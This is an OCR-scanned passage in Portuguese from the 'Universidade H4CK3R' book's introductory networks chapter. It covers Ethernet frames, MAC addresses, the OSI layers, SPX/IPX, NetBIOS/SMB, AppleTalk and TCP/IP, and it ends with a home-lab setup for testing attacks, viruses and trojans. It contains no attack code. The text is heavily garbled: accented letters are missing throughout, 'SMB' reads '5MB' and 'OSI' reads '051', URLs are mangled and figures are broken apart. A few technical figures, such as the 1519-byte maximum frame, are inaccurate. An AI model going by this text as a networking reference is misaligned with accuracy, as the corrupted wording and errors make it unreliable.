do ao leitor que procure na Internet documentao sobre teoria de protocolos.
Bons livros sobre redes (como o j citado de Andrew Tannemmbaum) tambm
so boas fontes de informaes sobre o assunto.
1431
] Redes1
ProtocollD
Endereco de
Endereco
(2bits) Origem(4 bits)
Destin
(4bits)
PID
End. Origem
End. Destino
PAYLOAD(Dados teis) Fim Msg
2 bits
4bits 4bits
46 bits
11001011
I Universidade H4CK3RI
Matrioshka3
O campo Protocol ID (ou PID) de nosso protocolo um identificador que
o diferencia dos outros protocolos que trafegam na rede.
O protocolo nosso "primeiro fIlho", vamos batiz-Io de PROTl (original,
no?). Pode ser que, no mesmo cabo, trafegue o nosso PROTl e outros trs,
criados por seus colegas: MAILl, WEBl e 1M!. Em qualquer momento que se
verifique, h mensagens desses quatro protocolos trafegando simultaneamen-
te. So mensagens independentes e que podem existir no mesmo tempo e espa-
o. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo
MAILl vai carregar mensagens de correio eletrnico, o protocolo WEBl trar
pginas Web para seu navegador e o protocolo IMl permitem conversas entre
programas de mensagens instantneas.
Em algumas situaes, queremos usar um protocolo para transportar pa-
cotes de outros protocolos. Uma dessas situaes quando o nmero de proto-
colos a transportar na rede muito grande. Nesses casos, cria-se um protocolo
de transporte - sendo s um, o hardware mais fcil de implementar - e
encapsula-se os demais protocolos como se fossem dados em seu payload.
Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um
dos nveis comumente chamado de camada ou layer, e possvel extratificar
a comunicao de dados criando camadas com funes especmcas.
6
Cabealho
EJ
Cabealho
I CabeaLho I I FIm ]
Os protocolos de mais alto nvel so "envelopados" em outros de uso mais
geral. O processo pode seguir indefmidamente, dependendo das necessidades
de projeto. Cada uma das camadas pode tratar de exigncias especmcas da
rede. Por exemplo, a camada de mais baixo nvel provavelmente cuida dos
aspectos eltricos da comunicao, j a camada mais superior oferece um meio
para que as mensagens do programa que est acessando a rede sejam bem
recebidas na outra ponta do fIo.
3 Bonecas russas que se encaixam uma dentro da outra, da mesma forma que as camadas do modelo OS!
durante o encapsulamento, iniciando sempre pela menor e "ganhando peso" durante o processo.
441
Redes 1 [
Universidade 1ano
Ethernet
Confuso? Talvez a teoria seja, realmente, um pouco hermtica. Alguns exem-
plos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de
guardar um envelope dentro do outro no s fcil de entender como facilita
as coisas para o projetista.
O Ethernet um protocolo de redes de baixo nvel. Ele controla como os
dados trafegam na rede local, tanto no controle do meio fsico (sinais eltricos,
impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo
informaes sobre endereo de origem, de destino e dados a serem transportados.
Se voc abrir um cabo de rede e colocar um analisador lgico para observar o que
est trafegando, o que vai aparecer na tela um quadro Ethernet. A estrutura de
um quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe:
Um quadro Ethernet possui um tamanho entre 64 e 1519 bytes (ou seja,
entre 512 e 12.152 bits).Antes de cada quadro Ethernet, h ainda um trem de
56 bits, alternados entre Oe 1, chamado de prembulo e que serve para sin-
cronizar as interfaces de rede4. Um quadro Ethernet completo, incluindo o
prembulo, seria:
10101010 10101010 10101010 10101010 10101010 10101010 10101010
7 1 6 6 2 46 a 1500 4
Os nmeros abaixo de cada campo representam o seu tamanho em bytes.
Depois do trem de pulsos do prembulo, temos o Start Frame Delimiter ou
SFD.Esse campo tem sempre o mesmo valor binrio (10101011) e serve para,
como o nome j diz, indicar o incio "oficial" do quadro. Os prximos dois
campos so o endereo de origem e o de destino das interfaces de rede. Esses
endereos no so configurados pelo usurio. Pelo contrrio, o fabricante da
placa de rede insere, no prprio hardware, um endereo nico no mundo para
cada placa. O endereo Ethernet ou MACadress, como costuma ser chamado,
possui seis bytes e representado por nmero hexadecimais. Um exemplo:
00 - 00 - lD - Cl - 47 - FO
Os trs primeiros bytes determinam o fabricante da placa. J os trs lti-
mos, a faixa de endereos que aquele fabricante est autorizado a usar.
4 Para os tcnicos e engenheiros em eletrnica: notem que, como uma seqncia perfeita de zeros e
uns, nada mais temos que uma onda quadrada de freqncia constante - um clock!!!
1451
] Redes1
Cabecalho
Dados vindos da
Rodap
Ethe'rnet
camada superior
Ethernet
I
Prembulo SFD
Endereco Endereco Tamanho
"Payload"
FCS
Destin
Origem
doQuadro
IUniversidade H4CK3RI
Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos
de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:
00 00 OC- Cisco
00 00 lB - Novell
02 60 8C - 3Com
08 00 09 - Hewlett.Packard
08 00 20 - Sun.Microsystems
08 00 5A - IBM
Faa uma experincia e verifique o endereo MACde sua placa de rede. Se
voc est usando um Windows da famlia Win9x, dique em Iniciar, Executar e
rode o programa WINIPCFG. Em um Windows 2000 ou Xp, entre nas suas
configuraes de rede e pea para ver o status da conexo. Clique em suporte,
depois no boto Detalhes. No Linux e em alguns outros Unix, abra um terminal
e use o comando ifconfig.
Voltando ao quadro Ethernet, o prximo campo o tamanho do payload.
um nmero de dois bytes (portanto, 16 bits), e poderia indicar um tamanho
entre 1 e 65.536 para os dados. Na prtica, esse valor varia de 46 a 1500 bytes.
O ltimo campo do frame Ethernet o chamado FCS,ou Frame Check Sequence.
exatamente aquele nmero de verificao que discutimos em nosso protocolo fict-
cio. Ele gerado em um n de origem em ftrno dos campos de endereo, tamanho
e payload e gravadono campo FCS.Quando o quadro chega no destino, o nmero
calculado de novo e comparado com o FCS. Se ambos forem iguais, o quadro est
bom. Se diferirem, o quadro est corrompido e ser descartado.
Um ltimo elemento, que no faz parte do quadro Ethernet, o chamado
Interframe Gap. Depois que o quadro processado pela mquina destino, a
interface de rede de origem deixa a rede "em silncio" durante um tempo pr-
definido por hardware. Dessa forma, todas as outras interfaces da rede podem
estabilizar-se e ficar espera de um novo quadro.
I Quadron I
I
Quadro n+1 Quadro n+2
w
Interframe
Gap
Interframe
Gap
O protocolo Ethernet, sozinho, daria um livro inteiro. No ser preciso, para
nossos propsitos, dissec-Io mais do que apresentamos aqui. Para uma
escovao maior de bits, lembre-se de que a Internet sua amiga.
Como o leitor ver a seguir, apresentaremos um modelo de referncia para a
criao de protocolos. O Ethemet encaixa-se nas camadas 1 e 2 desse modelo
de referncia. Pode parecer estranho ter "adiantado o expediente", falando so-
bre Ethemet antes de tudo, mas precisvamos de um exemplo prtico de pro-
tocolo. Como se pode ver, est tudo dentro do projeto pedaggico ;-)
1461
Redes 1I
Universidade 1ano
o Modelo 051
Podemos dizer que o modelo de referncia OSI(Open Systems Interconnection)
nasceu da necessidade de criar um protocolo que conseguisse se comunicar
entre redes diferentes. As redes antigas de computadores possuam protocolos
proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comuni-
car e ser expandida com outras redes e equipamentos construdos pela mesma
empresa. A tecnologia utilizada era de conhecimento de apenas um fabricante,
no era possvel adquirir o hardware com uma empresa e instalar a rede com
outra. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem
sempre o fabricante proporcionava a melhor soluo.
Como o prprio nome diz, o OSI um modelo de referncia, no um protoco-
lo. Vamos tentar ilustrar de uma maneira bem simples: pense num processador
de textos. O Microsoft Word, por exemplo. Existem diversos modelos de docu-
mentos (chamados templates) a partir dos quais podemos criar nossas prpri-
as cartas, folhas de. rosto de fax ou memorandos. Imagine o modelo de refern-
cia OSI como um template para criar protocolos de rede. Fcil, no?
O modelo foi desenvolvido pela ISO (lntemational Standards Organization),
e tomou-se um padro para que os fabricantes passassem a desenvolver seus
protocolos a partir desse modelo. Ainda assim, voc pode notar que os proto-
colos existentes no seguem risca essas especificaes, alguns por serem
mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e
uns poucos por pura arrogncia corporativa.
Camadas
o modelo OSI formado por sete camadas, cada uma com uma funo diferen-
te. As camadas criam um envelope com os dados da camada superior, incluem
seus prprios cabealhos e entregam isso para a camada imediatamente inferior.
Quando o pacote chega na camada de nvel mais baixo, est pronto para ser
transmitido. As camadas so organizadas segundo este modelo:
1471
] Redes 1
7
I
Aplicao
6
Apresentao
5 I Sesso
4 I
Transporte
3
Rede
2 Enlace
1 Fsica
I Universidade H4CK3RI
Modelo OSI representado pelas Matrioshkas
1 2
3
4 5 6 7
Quando um pacote enviado de um dispositivo que segue o modelo OSI
para outro, as camadas do remetente se comunicam apenas com as camadas
correspondentes no receptor. Isso significa que as camadas identificam os ca-
bealhos equivalentes que foram includos no processo de encapsulamento,
fazendo assim com que o prximo nvel no precise lidar com as informaes
dos nveis anteriores. Trocando em midos, a camada 4 no tem a mnima idia
do que as camadas 3,2 e 1 fazem com os dados. Tudo o que ela sabe que fez
um envelope e o entregou camada 3. L no outro lado da conexo, no recep-
tor, a camada 3 entregar o envelope fechado para que a camada 4 abra. Po-
dem ter havido mudanas de protocolo nas camadas inferiores, fragmentao
de pacotes, troca de ordem, no importa. A camada 4 s quer saber o que est
em seu envelope. Isso vale para todas as camadas e toma o funcionamento de
cada uma independente das outras.
Como dissemos, cada camada possui uma funo especfica. Se tomarmos
como ponto de partida que cada uma delas representa, na realidade, algum
software que desempenha as funes descritas (com exceo da camada 1, que
implementao de hardware), veremos que o modelo proposto, em vez de
ser abstrato, at bem palpvel.
7 - Camada de Aplicao
A camada de aplicao , como o nome j diz, o prprio aplicativo. Em outras
palavras, o programa que voc est usando. Por exemplo, seu navegador Web
est na camada de aplicao, e fala diretamente com o servidor Web que est l
na outra ponta da conexo. H, portanto, uma "conversa a dois" entre os pro-
gramas. No , verdadeiramente, parte da rede. Do contrrio, essa camada re-
presenta todos os programas que querem acessar a rede e no sabem como
faz-Io.A nica forma de os programas que usamos conseguirem se comunicar
com outros programas em outras mquinas "falando" com a camada 6.
1481
Redes1 r
Universidade 1ano
6 - Camada de Apresentao
Chamada, por muitos, de "a camada sem funo" ou "a camada intil". Na
teoria, serve para preparar os dados no domnio local e coloc-Ios em um for-
mato compatvel com procedimentos de transporte. No caminho inverso, pa-
droniza os diferentes tipos de dados de uma forma que qualquer aplicao
possa ser escrita para usar a rede, independente das implementaes das cinco
camadas inferiores. Dois exemplos de servios executados nessa camada so a
criptografia e a compresso de dados. Na prtica, essa funo trivial e
implementada na prpria aplicao.
5 - Camada de Sesso
A camada de sesso responsvel pelo estabelecimento de conexo entre
dois computadores que esto se comunicando. Ela controla o dilogo entre as
aplicaes nos sistemas local e remoto. Tambm possvel agrupar dados em
blocos e marc-Ios depois de enviados. Caso haja uma interrupo na conexo,
a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.
4 - Camadade Transporte
A camada de transporte fornece meios para que os ns local e remoto pos-
sam trocar dados. Usando uma analogia um pouco imprecisa, os programas da
camada 4 montam um "cano" entre a camada 5 local e a camada 5 remota. Se os
softwares de camada 5 de ambas as mquinas olharem pelo cano, vero, do
outro lado, seu companheiro. atravs desse encanamento disponibilizado pela
camada 5 que toda a "mgica" das camadas anteriores acontece.
3 - Camada de Rede
At agora, estvamos no mbito exclusivo do software. As camadas ante-
riores comunicam-se diretamente com o programa correspondente das m-
quinas remotas. A camada 3, por outro lado, conhece a topologia e a distri-
buio da rede e sabe como encontrar uma mquina em especial no meio
da selva de endereos e caminhos. A camada de rede no orientada
conexo como a camada de transporte. Os pacotes so enviados sem que se
saiba se vo chegar ou no. Como a conexo estabelecida na camada ime-
diatamente superior (que, por sinal, est encapsulada nesta), isso no chega
a ser um problema.
2 - Camada de Enlace
Acamada de enlace responsvel pela comunicao direta entre duas interfaces
numa mesma rede. No tem conhecimento de outras redes alm da sua, funo
da camada superior. Por outro lado, a camada que, na rede de origem e na de
destino, efetivamente recolhe e entrega o pacote interface de rede correta.
Controle e deteco de erros fazem parte do seu mtier.
1491
] Redes 1
IUniversidade H4CK3RI
1 - Camada Fsica
Como o prprio nome indica, a responsvel pelo envio dos quadros para o
meio fisico.A converso feita a partir dos Ose ls do quadro (sistema binrio)
e adaptada para o meio, no caso de um meio eltrico, so transformados em
sinais eltricos, num meio tico, sinais luminosos e assim por diante.
Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondn-
cia, entre dois enxadristas, um em Teresina e outro em Goinia5. Os enxadristas
so os usurios. O jogo em si (tabuleiro, peas e regras) a aplicao (camada
7). As jogadas so registradas em notao tabular (por exemplo, o movimento
de um cavalo poderia ser B3C5) e escritas em folhas de papel - essa a forma
de apresentao do jogo (camada 6). Note que no basta simplesmente colo-
car uma papeleta no envelope com a notao da jogada. de bom tom escre-
ver uma carta completa, com data, saudao e assinatura, perguntar como vai a
famlia, o trabalho, frias, etc. para que se crie um vnculo ntimo entre os dois.
Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabe-
lecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da
sesso representada pelos servios da ECT.Colocamos a carta no envelope,
endereamos (no esquea o CEP!), selamos e colocamos na caixa de correio.
Do outro lado, nosso colega vai abrir a carta e estabelecer a sesso.
A ECT responsvel pelo transporte de nossa carta (camada 4). Isso sig-
nifica criar meios para que uma conexo entre os dois enxadristas seja
estabelecida. Quando colocamos a carta na caixa de correio, esperamos que, de
algum jeito, ela chegue s mos do destinatrio. Os mecanismos usados para
tal no nos interessam.
A ECT separa as cartas por regio, depois por estado, depois por cidade,
depois por logradouro. Uma vez separadas, monta pacotes de cartas destina-
das a cada logradouro e os envia para l. Utiliza-se, para tal, uma rede de vias
rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros
para entregar as cartas.
Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os
elementos que transportam os pacotes de cartas dentro de uma mesma rede
viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s
andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das car-
tas, sabem apenas como entregar as cartas localmente. So nossa camada 2.
Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de
um avio e entrar num nibus), nossas cartas so tratadas por funcionrios dos
correios que trabalham em atividades prprias da camada 3. Eles sabem mapear
entre as redes. Os pilotos dos avies, por exemplo, no entendem nada disso.
5 Apesar das facilidades da Internet e da Telefonia, um jogo por cartas mais romntico e mais barato...
150I
Redes1 [
Universidade ,0ano
Os avies utilizam-se do ar para sustentao e navegao. J os cami-
nhes trafegam pela estradas. Os carteiros andam por cada lugar que merece-
riam muitas medalhas (nem o vento, nem a chuva...). O ar, as estradas e os
morros so nossos meios fsicos, por onde feito o transporte de tudo o que
descrevemos nas camadas superiores.
Ufa! Descrevemos pelo modelo OSI, com um exemplo no-tecnolgico
(tanto o correio quanto o xadrez existem h milhares de anos...), um mtodo
de transporte de mensagens entre duas aplicaes. H coisas bem interessan-
tes a se observar nesse exemplo, o que comprova todas as teorias envolvidas
no modelo de referncia.
~ Encapsulamento: A jogada foi encapsulada na notao tabular, que foi
encapsulada na carta, que por sua vez foi encapsulada em um envelope, que
estabeleceu uma sesso de comunicao usando os protocolos de classificao
e transporte dos Correios, que envia pacotes de cartas segundo rotas especfi-
cas, que para isso trafegou em veculos que rodavam exclusivamente dentro do
meio fsico especfico para os quais foram feitos.
~ Paridade: Cada uma das camadas possui um emissor e um receptor. O pesso-
al de classificao e envio (camada 3) "conversa" com o mesmo pessoal da outra
localidade, usando os recursos da camada inferior (o caminho, por exemplo).
~ Conexo: A partir da camada quatro, vemos que todos os procedimentos
precisaram que o emissor e o receptor entrem em negociao. Da camada 3
para baixo, as cartas so transportadas indiscriminadamente, sem se importar
se haver algum l para receb-Ias. No chega a ser um problema: se apenas
uma das camadas estabelecer um canal de conexo permanente, as outras ca-
madas podem trafegar" connection1ess".
~ Independncia: As camadas so completamente independentes. A cama-
da 4 - os setores de recebimento e entrega de cartas - no precisam saber
quais rotas o pessoal da camada trs - os setores de redes de transporte -
utilizou. Esse pessoal trata de coordenar os diferentes meios de transporte -
nossa camada 2 -, mas no se preocupa com os problemas inerentes ao trans-
porte - qual caminho designar, combustvel, motorista, problemas com gre-
ves, sindicato... J o motorista, alm de no saber por quais outros meios de
transporte as cartas trafegaram, muito menos o contedo de cada carta indivi-
dual, preocupa-se apenas em gerenciar os problemas inerentes ao seu traba-
lho: seguir a rota designada pelo pessoal da camada trs, operando o caminho
de acordo com as leis de trnsito, desviando de buracos, atravessando enchen-
tes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer
qualquer uma dessas partes do processo. Para eles, o que vale mexer o cavalo
de acordo com B3C5.
I 51 I
I Redes1
IUniversidade H4CK3RI
SPX!IPX
o Sequenced Packet Exchange/lnternet Packet Exchange o protocolo uti-
lizado pela rede Netware da Novell. Implementa as camadas 3 e 4 do modelo de
referncia OSI, e utiliza, como protocolo de camada 2, exclusivamente o Ethernet.
Por muitos anos, Netware e Ethernet foram considerados sinnimos. Possuem
diversas semelhanas com o TCP/lP. J foram os protocolos mais populares,
mas, sendo o TCP/lP a base da Internet, acabaram caindo em desuso.
~ IPX - O IPX seria o equivalente ao protocolo de redes. uma
implementao muito volumosa e cheia de recursos. Tem algumas caracters-
ticas vantajosas como a deteco de endereos MACe atribuio automtica
de endereo IPX, ao contrrio de outros protocolos como o Ip, que fazem
com que o usurio tenha de atribuir manualmente um endereo para. cada
interface ou configurar um servio externo que automatize a tarefa.
~ SPX - Da mesma forma que o IPX, o SPX tem correspondncia com o
protocolo OSI de transporte. Uma das caractersticas mais importantes des-
sa implementao que o SPX tem de receber a confirmao dos pacotes
enviados antes de poder enviar outro, o que traz prejuzos para o desempe-
nho da rede.
Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma
que no padro TCP/IP; so elas: Aplicao, SPX, IPX, ODI/Ethernet e a camada
de Interface com a Rede.
Aplicao
SPX
IPX
ODI7Eihernet
Interface coma rede
Cada um dos protocolos de todas as camadas Netware foram especial-
mente projetados para permitir elevada confiabilidade e desempenho. Vrios
flags de controle e sistemas redundantes de verificao de erros e reenvio de
pacotes so empregados. Aprpria camada ODI representa um encapsulamento
do protocolo Ethernet para faz-Io atender s exigncias dos projetistas na
Novell. Mas, como nem tudo so flores, aumentar o nmero de controles que
garantam confiabilidade tem como reflexo a queda do desempenho em pro-
poro direta. Esse foi um dos inmeros fatores que contriburam para a der-
rocada do SPX/lPX como famlia popular de protocolos de rede.
1521
Redes 1 r
Universidade 1ano
NetBI05/ NetBEUI / 5MB / CIF5
No h nada mais manjado para usurios corporativos de redes Windows
que a facilidade e a rapidez de compartilhar com outros colegas alguma im-
pressora ou pasta. possvel at disponibilizar um drive de CD, CD-R, CD-RW;
DVD, Zip ou mesmo de disquete.
O Network Basic Input Output System foi concebido pela lliM e extendido
pela Microsoft e Novell para uso em suas respectivas redes locais, o PC Network, o
Lan Manager e o Netwate 2.0. Como o nome realmente sugere, o NetBIOS uma
srie de extenses de entrada/sada para que o vell10 sistema operacional MS-DOS e
seus descendentes possam acessar redes locais. O NetBIOS baseia-se em um formato
de mensagens chamado Network Control Blocks (NCB), que trafegavam pela rede
"de carona" nos protocolos de camada 2 existentes. Dentro dos NCBs, trafega um
outro protocolo chamado de Server Message Blocks ou 5MB6, que informa onde
esto as mquinas, quem so elas, quais seus MAC addresses e quais recursos (discos
ou impressoras) tm para compartilhar. Pode ser encontrado agindo sobre placas
do padro Ethernet, Token Ring e num fmado padro Windows NT. O NetBIOS
implementa as funes das camadas 4 (transporte) e 5 (sesso) do modelo de refe-
rncia OS!. O 5MB implementa funes das camadas 6 (apresentao) e sete (aplica-
o). Entretanto, eram apenas intelfaces de programao e no implementao de
protocolos, e nunca foram implementadas as funes correspondentes s camadas
2 (data link) e 3 (rede).
Com o tempo, o NetBIOS foi incorporado como uma API de programao do
recente protocolo conhecido como NetBEUI (NetBIOS Enhanced User
Interface). S no NetBEUI, a lliM e a Microsoft implementaram, fmalmente, um
quadro padronizado para transmisso na camada 4. A camada 3, porm, ficou
ainda de fora, no sendo possvel rotear o NetBEUI entre redes diferentes.
A dupla NetBIOS/NetBEUI sempre foi louvada por seu desempenho em
redes locais, normalmente pequenas. Entretanto, sua efetividade desaparece
em redes com mais de 80 computadores interligados. As recomendaes da
poca eram de instalar o NetBEUI com outro protocolo de camada 3 (como
IPX ou IP) e segmentar a rede. Hoje, sabe-se que tal prtica invivel para
grandes redes, e um tremendo furo de segurana. No primeiro caso, no se
consegue isolar os segmentos de rede com bridges e muito menos as redes
com roteadores porque a resoluo de nomes e entrega de mensagens entre
estaes se d por meio de broadcasts - mensagens destinadas toda a rede
indiscriminadamente. O segundo problema bem pior: adicionando capacida-
des de roteamento ao NetBIOS, abriu-se as portas para que pessoas mal inten-
cionadas em todo o mundo bisbilhotem em sua rede via Internet sem precisar
de outra ferramenta, alm do Internet Explorer.
A mistura IP/NetBEUI tu ruim que a prpria Microsoft descontinuou o
suporte a NetBEUI no Windows XP.A soluo usar 5MB (uma implementao
de camada 7) diretamente sobre TCP/lp.
6 As novas verses do 5MB foram rebatizadas de Comnon Internet File 5ystem, mas, apesar de
trazerem algumas melhoras e novas caractersticas, ainda trata-se do velho e bom 5MB.
1531
] Redes1
IUniversidade H4CK3RI
Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia,
implementaes para TODAS as camadas do modelo de referncia OSI, com
exceo da camada de rede. O que no chega a ser problema, pois fcil "en-
costar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse,
possvel implementar uma rede Microsoft suprimindo qualquer um dos proto-
colos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS
/I~
NetBEUI/NetBIOS NetBIOS/TCP/IP TCP/IP
RFC1001RFC1002 NetBIOS/SPX/IPX
No primeiro caso, temos a implementao original, ou seja, 5MB(Camadas7
e 6) sobre NetBIOS/NetBEUI (5/4) sobre Ethernet (2). Essa era a soluo no
rotevel, pois no h protocolo de camada de redes na cadeia.
No segundo caso, temos 5MB(7/6) sobre NetBIOS (5),TCP/lP (4/3) ou sobre
SPX/lPX(4/3) sobre Ethernet (2). Nessa implementao, temos o conjunto com-
pleto de camadas OSI implementadas por algum protocolo. Se por um lado
isso agrada aos redatores de normas, por outro cria uma pilha de protocolos
muito pesada e cheia de furos de segurana. Se for usar a Internet, melhor
no ir por esse caminho.
O terceiro o mais radical. Todos os antigos protocolos NetBIOS foram sim-
plesmente desprezados, uma vez que a Microsoft "deu um jeito" de fazer o
5MBfuncionar diretamente sobre TCP/lp. Se por um lado h ganho de desem-
penho e segurana, perde-se a API facilitada para escrever programas para
rede. Podemos, ento, estratificar esses protocolos (incluindo os externos de
camadas 4, 3 e 2) da seguinte maneira:
5MB/CIFS (7 e 6)
NetBIOS/NetBEUI/NMB (5 e 4)
TCP/IP ou IPX/SPX (4 e 3)
Ethernet (2 e 1)
Apesar de sua idade e suas falhas, protocolos baseados em 5MB/CIFSso
muito populares ainda hoje pela facilidade com que os usurios podem compar-
tilhar recursos de seus computadores. Em redes bem administradas isso pode
aumentar a produo. Em redes mal administradas, pode aumentar a confuso...
Em ambos os casos, a implementao de redes mais utilizada da face da Terra.
j41
Redes1 r
Universidade 1ano
Appletalk
O AppletaIk, como o prprio nome sugere, o protocolo proprietrio utilizado
nas redes de computadores Apple. composto por protocolos de transporte e en-
trega, o ATP(AppleTalkTransport Protocol) e o DDP (Datagram Delivery Protocol),
equivalentes s camadas 4 e 3 do modelo de referncia OSI, respectivamente.
Aplicao Camadas
o modelo AppleTalk est dividido em
cinco camadas: aplicao, sesso, trans-
porte, entrega e acesso rede. Muito se-
melhante com o padro OS!.
Sesso
Transporte
Entrega de Datagramas
Acesso rede
TCP/IP
o protocolo conhecido como TCP /lP (Transmission Control Protocol!
Internet Protocol) , atualmente, o padro de fato. Foi concebido justamente
para trabalhar nas camadas 3 e 4 do modelo OSI e, portanto, ser completamen-
te rotevel. Sua criao teve propsitos acadmicos e militares, pois foi utilizado
em diversas redes de universidades e de defesa norte-americanas nas dcadas de
70 e 80. O protocolo atingiu a "fama" com a Internet e est implementado em
praticamente todos os sistemas operacionais existentes.
Camadas
o TCP/lP est dividido em diversas camadas, como veremos a seguir:
~ Camada de aplicao: Responsvel pela comunicao entre o protoco-
lo destinado ao transporte e os aplicativos em execuo, como o DNS, FTP,
HTTP e SMTP, entre outros. Corresponde s camadas OSI 7, 6 e 5 e
implementado nos prprios programas (camada 7).
. ~ Camada de Transporte: Cria a conexo virtual entre dois computadores,
exatamente como descrito do modelo OS!.
~ Camada de Internet: Responsvel pela organizao e roteamento dos
pacotes defmindo seus endereos.
~ Camada de Interface com a Rede:
Responsvel pelo envio dos datagramas pro-
venientes da camada de Internet. No faz par-
te do protocolo TCP/lP, mas um componen-
te obrigatrio. Normalmente usado o pro-
tocolo Ethernet, embora o TCP/lP seja com-
pletamente independente e possa trafegar em
meios to dspares como fibras ticas/FDDI,
1inks de rdio, X.25 ou Frame Relay.
Aplicao
Transporte
Internet
Interface com a Rede
1551
] Redes1
IUniversidade H4CK3R I
Entendendo o TCP!IP
A famlia de protocolos TCP/lP a base de Internet e da maioria das redes
de computadores espalhadas pelo globo. Para entender como essas redes fun-
cionam, necessrio ter uma noo de como o protocolo TCP/lP gerencia o
envio e recebimento de dados entre dois ns.
Note que chamamos o conjunto de protocolos TCP/lP de famlia. H mais
deles do que apenas esses dois, que do nome famlia (e so, realmente, os
mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o
ICMP (Internet Control Message Protocol), entre outros. TCP e UDP so proto-
colos de camada 4, ou seja, propiciam mtodos para que os dados vindos da
camada 5 sejam transportados at o n destino. IP e ICMp'por outro lado, so
protocolos de camada 3, o que significa oferecer insumos para que a camada 4
possa fazer seu servio.
O TCP/lP e protocolos auxiliares esto definidos em uma srie de docu-
mentos mantidos pelo Interbet Engineering Task Force (lETF). Procure pelas
RFCs 791,792 e 793 no site oficial: www.ieticom/rfc.htm1.
Embora vamos estudar o TCP/lP com detalhes no captulo complementar
a este, Redes 11,alguns aspectos devem estar claros para que possamos conti-
nuar a leitura deste livro.
o protocolo IP
o grande agente transportador de nossos dados entre as diferentes redes
o protocolo IP. O protocolo define um pacote de dados, que contm campos
parecidos com os campos que vimos no quadro Ethernet e uma rea para
transportar os dados vindos da camada superior. Entre esses campos, temos os
endereos IP de destino e origem, flags de controle e verso - em suma, tudo o
que se espera de uma implementao real de um protocolo.
Um pacote IP parece-se com este:
56 I
Redes 1 r
Verso I
IHL
I
Tipode Servio
TamanhoTotal
Identificao
"Flags" I Fragmentao
TempodeVida
I
Protocolo
Nmero de Verificao
Endereo IP de origem
Endereo IP Destino
Opes (se houverem)
I Enchimento
Dados
Universidade 1ano
Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato:
000.000.000.000, em que cada byte pode incorporar um valor que vai de Oat
255, como em 198.254.10.1. Outra informao pertinente a de que no deve
haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso
causaria conflito nas mquinas e uma delas estaria impossibilitada de se
conectar rede.
Mscara de Rede
Possui o mesmo formato do endereo IP (000.000.000.000), mas afeta
apenas um segmento particular da rede. utilizada para dividir grandes redes
em redes menores, facilitando a administrao e reduzindo trfego exprio.
TCP/UDP
Dentro dos pacotes IP, podemos transportar dois tipos de pacotes de
dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maio-
ria dos servios para carregar informaes entre as duas extremidades da
conexo, e possui caractersticas de controle de fluxo e recebimento. O outro
o UDp, mais simples e sem qualquer tipo de controle, mas rpido e com
impacto menor no desempenho da rede.
Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus
dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados
aplicao ou servio que est enviando ou transmitindo os dados. Cada um
desses servios est relacionado a um nmero chamado porta. Por exemplo,
em um servidor qualquer, a porta TCP 80 oferece o servio HTTP, enquanto a
porta UDP 53 pode oferecer um servidor de DNS.
DNS
O Domain Name Server traduz um nome de fcil memorizao em um
nmero de IP.Por exemplo, vamos supor que o IP de um servidor na Internet
seja 200.167.208.1, o DNS poder atribuir um nome a ele para que sua locali-
zao seja mais fcil, como www.siteprocurado.com.br.Ao colocar esse ende-
reo legvel no browser, esse vai entrar em contato com o servidor de DNS e
fazer a converso para nmero IP.
ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC.
Quando o pacote IP chega rede destino, deve haver um mecanismo que diga
ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est conti-
do no pacote, faz-se uma pergunta a todas as mquinas da rede: "quem tem meu
IP"?Ainterface configurada com aquele IP responde com o endereo MAC,e o
pacote enviado a ela.
1571
] Redes 1
IUniversidade H4CK3R I
Laboratrio de Redes I
o laboratrio de Redes I tem como objetivo auxiliar o leitor iniciante na
montagem de uma rede domstica. Mas qual a utilidade desse tipo de rede
para o futuro hacker ou administrador? A resposta bem simples: testar tcni-
cas de ataque e defesa em uma rede fechada. Isso pode englobar desde a insta-
lao de um firewall caseiro at o teste com vrus e trojans.
Obviamente, so necessrios pelo menos dois computadores para que a
rede seja criada. Como a inteno montar uma rede para testes, voc pode
optar por computadores mais antigos e sem tantos recursos, como CD-ROMe
hardware de som. A seguir, vamos conferir os passos para a montagem da rede
desde a parte fsica at as configuraes necessrias.
Recursos necessrios
~ 2 computadores;
~ 2 placas de rede (pCI ou ISA);
~ Cabos de par tranado na configurao cross-over;
~ Sistema operacional (nesse caso, estaremos trabalhando com Wmdows 9x).
Instalao da parte fsica
Aps a escolha das placas de rede, chega o momento de instal-Ias nos
computadores. Essa no uma tarefa difcil, basta apenas que voc tome cuida-
do para no danificar o equipamento. Aps a abertura do gabinete, devemos
procurar um slot livre para acomodar a placa de rede. Geralmente, eles ficam
situados na parte inferior direita da placa-me, como mostra a figura:
Slot
~
"",,,,,.,,,,,,,,,,,,,,,,,,,,,,,, """ ""
""''''''''''''''''''''''''''''''''''''''''
'''''''''' '''''''''' ,,,,,,,,,,,.,, """ ""
'''''''''' """'''''''''''''''''' ''''''''''
